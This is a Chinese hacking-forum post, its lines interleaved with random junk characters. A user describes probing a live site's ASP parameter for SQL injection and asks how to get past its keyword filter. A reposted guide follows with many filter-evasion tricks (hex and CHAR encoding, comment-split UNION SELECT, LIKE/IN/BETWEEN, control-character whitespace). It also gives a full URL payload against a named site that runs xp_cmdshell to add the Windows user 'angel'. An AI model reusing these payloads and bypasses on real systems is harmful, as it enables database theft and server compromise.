路过这个网站,检测了一下.3 r4 [% v! T0 M: _% p. ~
http://www.xxx.cn/Article.asp?ID=117 and 1=1
$ M6 C8 H# y3 s! F) O6 W直接返回主页6 z3 d; @. L9 i- ?# x, A" d, @
http://www.xxx.cn/Article.asp?ID=117 or 1=1
: P6 w; d. U9 ]6 z' J4 l/ D9 J直接返回主页! G# M: S5 o2 W: s
http://www.xxx.cn/Article.asp?ID=117 or/ t& U0 s" o9 }4 A# H/ h
没有返回主页 没有过滤or
- t+ v, M% D: Y" phttp://www.xxx.cn/Article.asp?ID=117 and% S W% T2 M+ T% F) W0 `" H
直接返回主页 看来过滤了and2 W8 O2 h! C$ f" ]! Y
http://www.xxx.cn/Article.asp?ID=117 or 1- D- i: F0 M" B4 J t0 B* `5 a
没有返回主页 即没有过滤or 也没有过滤1
6 T) A: t+ d: f6 B0 Xhttp://www.xxx.cn/Article.asp?ID=117 or 1=1/ L" Y. d9 \5 Z
直接返回主页 很明显过滤了等号
/ v9 B5 _, u2 A- T* [* Yor的特性是与and相反的.
% ]. Q0 Q* ]( `( Ror 1=1 爆错 或与原页面不同& Q$ E- `5 |; z3 z( j5 }6 N% B
or 1=2 原页面相同8 i# {9 \! }8 [9 K
这样就是一个注入点+ I) N% [0 Z5 B
但他过滤了=号 我就用><号代替=号吧!
# u6 T6 }1 R f; @or 1<2 很明显是正确的,所以应该与原页面不同) Q, I" F+ g: t V7 X0 s
or 1>2 很明显是错误的,所以应该与原页面相同3 v* N, U }4 z$ |
然后看看有没有过滤其他的查询语句,比如select.- e% L' T3 h( e' q3 k0 G
http://www.xxx.cn/Article.asp?ID=117 select
. B, ~3 d- T* C1 ~8 y直接返回主页) n6 ?7 R {3 f* I
又迷茫了..+ n# c* `$ w* n; `2 e! y7 q5 B$ E [) \
- A1 U" {* Z# |1 N8 I1 S
, Q5 X% ?6 V& L. P1 Vcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗, m/ Z( P) X" ^, l: p" |! _
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
) E3 X2 x& |# E" p- \4 @; v6 H================================================; {2 E1 ]1 e' X0 R0 k1 x- f! V# k& v8 B
以下是转贴:
$ ]% b4 ]3 W* X6 n, Z
: c. ]0 j: b5 u4 P9 M突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 6 w, @- B, g# @) d6 M' F4 q
经过我的收集,大部分的防注入程序都过滤了以下关键字:
- E: y9 V- h$ N+ F7 h1 cand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
1 w4 C/ W5 d) u0 P而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 ; X4 z+ E ?4 v; u! \4 A
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
+ ^1 X/ K# n+ L, x, V1、运用编码技术绕过 I/ R# b- o' r3 L! p8 ]+ N
如URLEncode编码,ASCII编码绕过。例如or 1=1即 $ u1 y6 Z7 G% ]& x2 P, ~
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 % ~3 _6 U1 g1 Y- y. H/ G
, @4 o0 D; @ u
2、通过空格绕过 9 e1 \) s( b, X$ S+ ^7 m5 `
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 ; z' K& i8 Y. W6 ?5 N! D
or’ swords’ =‘swords’
( U: Y( M7 t# o9 _- P,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 $ C5 }7 v0 @+ p% L2 j3 O W
3、运用字符串判断代替
6 _/ ~, o* Z8 H- {. B用经典的or 1=1判断绕过,如 % @+ X4 @0 P. f6 ]/ I
or ’swords’ =’swords’ ; Q# [2 O4 A5 g9 ^
,这个方法就是网上在讨论的。
8 K* d; j$ U) P% K' }; t! |4、通过类型转换修饰符N绕过
5 h) ~) ^, R0 G可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 ! |9 I g% A' I2 q/ _/ t( m
5、通过+号拆解字符串绕过
4 w2 B4 C. v6 \$ P! g效果值得考证,但毕竟是一种方法。如 & P# k4 O2 Q! {& t. l0 C3 p
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
. f- ]7 K! d2 i" L g/ ?4 Z' ~3 N4 i. v. `
6、通过LIKE绕过 7 g+ z Z) w7 [7 z: F7 r9 {, h
以前怎么就没想到呢?如or
1 S7 |) L( {/ M’swords’ LIKE ’sw’
& g' C0 a5 O- w5 N3 |) `!!!显然可以很轻松的绕过 1 G0 Z' ^4 ^0 S) P
“=”“>” 3 i& o- o9 e3 C
的限制……
; n4 `+ |5 _4 e8 `, I. S7、通过IN绕过 6 a3 Z T/ o z
与上面的LIKE的思路差不多,如 & N* r# z' `/ S8 o+ x
or ’swords’ IN (’swords’)
; o, g+ V: o+ A6 x/ H" g8 Y {- i/ E
8、通过BETWEEN绕过 2 P4 |2 ]7 _* j3 }
如
, S; S* {4 u$ bor ’swords’ BETWEEN ’rw’ AND ’tw’ ; z9 u! w1 E0 b
2 O/ Z: P6 i. @( S7 @/ N. |- R& }
9、通过>或者<绕过 3 l8 `$ V6 b1 g4 c4 T
or ’swords’ > ’sw’
6 f) D5 d' ?. n- E0 }or ’swords’ < ’tw’
6 ~- r4 M% S. y6 `' f# Xor 1<3
s) o" |( E! Z4 s1 F……
5 X/ e5 M- m& V( _10、运用注释语句绕过 7 [2 m' c3 j! n+ U0 A# n. J4 T
用/**/代替空格,如:
; i3 w; x, o$ M9 k" fUNION /**/ Select /**/user,pwd,from tbluser ) C$ A B2 E: W0 A! L8 D
6 }* I3 F/ \6 t. ^1 g+ w
用/**/分割敏感词,如:
6 l) J7 m' R/ C/ b$ }4 QU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser - w# a' @7 U, D3 T
+ a* X$ M( ^& o. V3 ?* P1 M11、用HEX绕过,一般的IDS都无法检测出来 * }7 r' {, S' |0 V [" e" Q5 ^- u
0x730079007300610064006D0069006E00 =hex(sysadmin)
& v- O& E8 V W2 f- I0x640062005F006F0077006E0065007200 =hex(db_owner)
b9 b. e! f% a3 F另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: ' Z' n8 @" c$ n% V0 f" o6 _: \* w
declare @a sysname W% {# M4 H$ L0 X7 u( e( U
select @a=
5 d: E$ w& \4 F! D- v H exec master.dbo.xp_cmdshell @a ; m4 I0 K" {" l
效果
8 C2 U6 _8 [0 U0 Chttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
* l' J( ^: z0 i/ Q; x) k
$ Q5 r6 M/ D I8 V5 L2 Q其中的 5 ^2 W3 A9 b+ I& o
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 ' `# K% Y$ g% P; c# `2 X0 F% H0 _
就是 ( m* M' H+ q! N. y- t% Y8 E5 z( a
“net user angel pass /add”
9 \8 {, z) e5 x3 J* p0 f, p* o; d6 @( T7 A0 G6 A
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。8 R$ D9 {) R; [! k5 F
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。& V: Y3 z0 s3 H) _
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
" O5 U6 n2 i" m+ @& oCopy code/ |% V$ X4 f7 l; Q z
select * from table exec xp_cmdshell'xxxxxxxxxx'
. M% @2 X# M8 S8 |" V! ?2 Q' | T, e- a3 y+ U
1 m5 M3 C! n1 R% Yselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
! l7 K6 u4 t# l2 l& A
) K) k, M5 R- \9 v6 k! } r/ F. ~6 R+ e' \8 v8 o2 Q, w
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
9 g3 x8 c6 }8 n8 E* m. I$ ^5 E& {) C* y C9 [
- E$ s) [' E2 Q2 v% }0 l! h7 d
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
; B o) q! i% p3 |+ B4 P! B7 \
1 W; E4 l8 h* o0 C的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
& j7 V% `7 Y( I
: F" I3 J$ Z4 |这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了: S4 O$ z& z, C" A" p5 J
可能大家早就知道了,不管怎么说,发在这里吧!' n0 `9 u2 [+ O, ]5 }1 ?/ V
6 c# q' s! s, ~( _, N# d2 K最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
2 |0 k" z, d; g6 B2 O p+ A1 ^5 O. m1 c9 M" S0 X' W' H$ j o
( X# W3 A/ R& s* G; J: L: p: K; R1 y
9 P; c/ A5 |- v8 M对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
1 x) f9 L/ c0 P4 W g比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? ( z/ L3 E0 L2 }" x7 R' |: j- j8 ~
* z# w7 }! k* m5 D. B5 c& m$ N
|